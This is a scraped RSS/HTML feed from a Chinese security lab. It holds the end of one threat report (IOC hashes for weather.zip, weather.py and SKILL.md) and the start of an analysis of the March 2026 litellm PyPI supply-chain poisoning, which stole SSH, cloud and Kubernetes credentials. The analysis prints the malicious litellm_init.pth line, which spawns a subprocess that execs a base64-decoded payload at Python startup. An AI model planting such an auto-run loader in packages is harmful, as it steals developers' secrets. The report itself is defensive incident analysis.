src="https://wechat2rss.xlab.app/img-proxy/?k=2c4ebb24&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQSjGzxHEMdtSbWGFDF4OEoFu71nqibPhpia3yHKeVVwaD2AkpWyftMTmfiaQ7pBn2PPhCkdyxJBUeVXA3YyffnntQNJcVnxaJJxMFibHygicliaTQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div style="background: linear-gradient(to left, #c6c2ff, #2c80f5);padding: 12px 30px;box-sizing: border-box;"><p style="font-size: 16px;color: #ffffff;text-align: center;"><strong data-brushtype="text"><span leaf=""><span textstyle="" style="font-size: 20px;">五、IOC</span></span></strong></p></div></div></div></div></div><p><span style="color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"><strong style="box-sizing: border-box;font-weight: 600;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf=""><span textstyle="" style="font-size: 20px;">恶意文件（MD5）</span></span></strong></span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="objectivec"><code><span leaf=""><span class="code-snippet__number">5</span>a44617d7df9926762b16e2a90b23e8f        weather.zip</span></code><br/><code><span leaf=""><span class="code-snippet__number">033</span>ffdfbd70006988a097ba033c4676b        weather.py</span></code><br/><code><span leaf=""><span class="code-snippet__number">65284</span>f7a942aa60a8a4e2c6ea5ceb119        <span class="code-snippet__built_in">SKILL</span>.md</span></code><br/></pre></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf=""><span textstyle="" style="font-size: 20px;">报告链接</span></span></strong></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">分析报告：</span><span leaf=""><a href="https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=82b28536e64a7041a22fdbf1d66b2205&amp;sk=57008976" target="_blank">https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=82b28536e64a7041a22fdbf1d66b2205&amp;sk=57008976</a></span></p><div data-role="title" data-tools="135编辑器" data-id="170441" data-pm-slice="0 0 []"><div style="margin: 10px auto;display: flex;justify-content: center;"><div style="display: flex;align-items: center;"><div style="padding: 0 10px 5px 10px;box-sizing:border-box;"><p style="width: 48px;margin-left: auto;margin-bottom: -20px;z-index: 4;margin-right: -14px;box-sizing:border-box;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100005467" data-ratio="0.7335285505124451" style="width: 100%;display: block;vertical-align:baseline;box-sizing:border-box;" data-type="png" data-w="1366" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=991041ed&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQSjGzxHEMdsTPiaGkqiafgVm3vpBflJpfDKwD8vBv2uxmTJtDZt8dtGW5hW2iaVoI2ick8SnZMUm5SRAEnPzGpb5rk6SnI4iauqQBLdtDW9mstcE%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div style="background: linear-gradient(to left, #c6c2ff, #2c80f5);padding: 12px 30px;box-sizing: border-box;"><p style="font-size: 16px;color: #ffffff;text-align: center;"><strong data-brushtype="text"><span leaf=""><span textstyle="" style="font-size: 20px;">六、技术支持与反馈</span></span></strong></p></div></div></div></div></div><p data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;font-weight: bold;">天穹智能分析平台</span></span><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 16px;"><strong style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;">（联系我们申请账号）：<a href="https://sandbox.qianxin.com" target="_blank">https://sandbox.qianxin.com</a></span></span></span></strong></span></p><div data-role="outer" label="edit by 135editor" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;caret-color: rgb(34, 34, 34);visibility: visible;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px 0px 10px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;justify-content: flex-start;display: flex;flex-flow: row;"><div data-lazy-bgimg="https://mmbiz.qpic.cn/mmbiz_jpg/lG0evzxL96mb6T0XCd0WWkltxz466LZkI7a6qOAWvwoqTuvPUGK2Okj4L0H6fK295GcaGrMkbh8VLpE3a1zwvw/640?wx_fmt=jpeg" data-fail="0" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: inline-block;width: 677px;vertical-align: top;background-size: 100% 100%;background-attachment: scroll;border-style: solid;border-width: 2px 1px 1px;border-color: rgb(18, 94, 168) rgba(183, 217, 255, 0.39) rgba(183, 217, 255, 0.39);align-self: flex-start;flex: 0 0 auto;background-image: url(&#34;https://wechat2rss.xlab.app/img-proxy/?k=5d7eaeef&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FlG0evzxL96mb6T0XCd0WWkltxz466LZkI7a6qOAWvwoqTuvPUGK2Okj4L0H6fK295GcaGrMkbh8VLpE3a1zwvw%2F640%3Fwx_fmt%3Djpeg&#34;);background-position: 50% 50%;background-repeat: no-repeat;"><div powered-by="xiumi.us" style="-webkit-tap-highlight-color: transparent;margin: 10px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px 15px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(62, 62, 62);"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;">天穹智能分析平台持续迭代升级，致力于为每一位样本分析人员打造更高效、更智能、更易用的分析平台——这始终是我们不变的初心与追求。</span></span></p><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;">如果您希望深入了解平台功能，或在使用过程中遇到任何问题，欢迎随时联系我们。您的反馈，是我们进步的重要动力！</span></span></p></div></div></div></div></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=2ac04713&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4OTU4MjQ4Mg%3D%3D%26mid%3D2247489119%26idx%3D1%26sn%3D5982b1c8e435d8bfe007823fdbf6dafc">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 02 Apr 2026 17:16:00 +0800</pubDate>
    </item>
    <item>
      <title>【天问】飞驰的AI列车下的隐患：litellm AI供应链投毒事件分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4OTU4MjQ4Mg==&amp;mid=2247489103&amp;idx=1&amp;sn=39ae7bae786321759df68d3e5ea15876</link>
      <description>2026年3月24日，作为AI开发核心枢纽的 litellm 网关遭遇供应链投毒攻击，大量使用者的密钥与敏感信息被窃取，再次暴露出当前 AI 供应链体系的安全隐患。</description>
      <content:encoded><![CDATA[<p><span>星图实验室</span> <span>2026-03-25 20:37</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=0a7f14b4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FQSjGzxHEMdurhKibc7dox1aJz0g2Rd7cOHahwaRhwefc7y3GDaLUibZS98zibddSA8upcX0maj4UJoIDwWyuHmXEJjERYibIhafq2VVaKQc1sO4%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">2026年3月24日，作为AI开发核心枢纽的 litellm 网关遭遇供应链投毒攻击，大量使用者的密钥与敏感信息被窃取，再次暴露出当前 AI 供应链体系的安全隐患。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">天问供应链威胁监测模块是奇安信技术研究星图实验室研发的“天问”软件供应链安全分析平台的子模块，”天问“分析平台对Python、npm等主流的开发生态进行了长期、持续的监测，发现了大量的恶意包和攻击行为。</span></p><h1 style="box-sizing: border-box;font-size: 1.5rem;margin: 0.5rem 0px;line-height: 1.5rem;font-weight: 500;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">1. LiteLLM被投毒事件回顾</span></h1><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><span textstyle="" style="font-size: 20px;">1.1 LiteLLM简介及攻击回顾</span></span></h2><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">LiteLLM 作为 AI 网关，能够代理 100 多种大语言模型（LLM）的 API，被广泛应用于 AI 编程与服务编排场景。目前其在 GitHub 上拥有超过 4 万 Star，在 PyPI 的月下载量也超过 9600 万次。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">2026 年 3 月 24 日，LiteLLM 在 PyPI 上遭遇供应链投毒攻击，1.82.7 与 1.82.8 两个版本被植入恶意代码。攻击代码会自动窃取受害者机器中的多类敏感凭据，包括 SSH 密钥、AWS/GCP/Azure 云服务凭据以及 Kubernetes Token 等。目前相关恶意版本已被官方移除。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" alt="image-20260325153157666" class="rich_pages wxw-img" data-ratio="0.5861111111111111" data-type="png" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005431" src="https://wechat2rss.xlab.app/img-proxy/?k=7cc2969a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQSjGzxHEMdvncnwFSJPkMFKPRgLYmbwvib3XOmA3pbAyg022Cn4Z0tCScPFchicxw6V4PPf6aHbKsb6WKib4lZbEh8icnAwK7MaLZPiaick8rKAtg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><span textstyle="" style="font-size: 20px;">1.2 恶意代码中的bug导致攻击露出马脚</span></span></h2><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">此次投毒事件最早由 FutureSearch 发现并上报 PyPI，随后相关恶意版本被迅速下架，整体存活时间约为 5 小时。FutureSearch 在其博客中披露了事件细节[1]，而此次攻击的暴露，恰恰源于攻击者代码中的一个逻辑缺陷。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" alt="image-20260325161740054" class="rich_pages wxw-img" data-ratio="0.38705234159779617" data-type="png" data-w="726" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005430" src="https://wechat2rss.xlab.app/img-proxy/?k=a697b874&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FQSjGzxHEMdvJiaydwbCRKHLlhIqDXQhyPRAriccQ4mibMKkoVNV0DoLhIuqouRzNYIsibJsKKs7qR08BzXVN26zNZ3c11rB5omsuJCEdGicFmTV0%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">恶意代码被植入在 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">.pth</span></code><span leaf=""> 文件中。由于 Python 在启动时会自动执行 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">.pth</span></code><span leaf=""> 文件中的代码，攻击载荷在解释器启动阶段即被触发。该恶意代码通过启动子进程执行 payload，而子进程再次触发 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">.pth</span></code><span leaf=""> 执行，形成类似“分支炸弹”的效果，迅速耗尽系统资源，从而引起研究人员注意。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">一次本可长期潜伏的供应链攻击，也因此被意外暴露并及时阻断。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">litellm_init.pth</span></code></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="javascript"><code><span leaf=""><span class="code-snippet__keyword">import</span> os, subprocess, sys; subprocess.<span class="code-snippet__title">Popen</span>([sys.<span class="code-snippet__property">executable</span>, <span class="code-snippet__string">&#34;-c&#34;</span>, <span class="code-snippet__string">&#34;import base64; exec(base64.b64decode(&#39;aW1wb3J0IHN....&#39;))&#34;</span>],stdout=subprocess.<span class="code-snippet__property">DEVNULL</span>, stderr=subprocess.<span class="code-snippet__property">DEVNULL</span>)</span></code></pre></p><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf=""><span textstyle="" style="font-size: 20px;">1.3 AI供应链安全的脆弱性</span></span></h2><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">根据 Snyk 的分析报告[2]，此次攻击由 TeamPCP 组织发起。攻击者通过入侵 LiteLLM CI/CD 流程中使用的开源安全扫描工具 Trivy，获取了维护者的 PyPI 发布凭证，并利用该凭证发布了包含恶意载荷的 1.82.7 与 1.82.8 版本。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">此次事件导致大量敏感凭据被窃取，受影响用户需要立即吊销并替换相关密钥，以避免后续风险扩散。</span></p><p nodeleaf=""><img alt="image-20260325172949830" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100005445" data-ratio="0.762962962962963" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;zoom: 0.5;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=4345732f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FQSjGzxHEMduxEgWic3CKyNibMfy91UuqUeiaov1booHKA1oXlAnH8VX45bxbVxszkAvbS5iaPZ2Nj0HJPicl6ZrsfmibJtOiatSnGtkpWx5tjGeqoU%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">OpenAI的创始人之一Andrej Karpathy也对此次事件表达了担忧。他指出，现代软件项目往往依赖复杂的依赖链条，一旦其中任意环节被污染，风险将迅速传导至整个系统。攻击者通过不断窃取凭据，可以持续扩大攻击范围，实现级联放大效应。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img alt="image-20260325173411059" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100005444" data-ratio="1.1283783783783783" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-type="png" data-w="592" src="https://wechat2rss.xlab.app/img-proxy/?k=1ffee0ad&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQSjGzxHEMdsjRBfeVMYjT8sZahibEfNxc89C6AWbalWZdvaPXuzmtWPngHtu0kic1AuKkmzYjfx7kXooTwhicYEl846uaUO7JJzS0G5zef5Tdk%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">例如，当前流行的 MCP 工具 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">browser-use</span></code><span leaf=""> 在 GitHub 上拥有超过 8 万 Star，其依赖链中包含 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">litellm</span></code><span leaf="">。在攻击窗口期内使用该工具，可能直接导致用户被攻击。此外，</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">browser-use</span></code><span leaf=""> 官方推荐使用 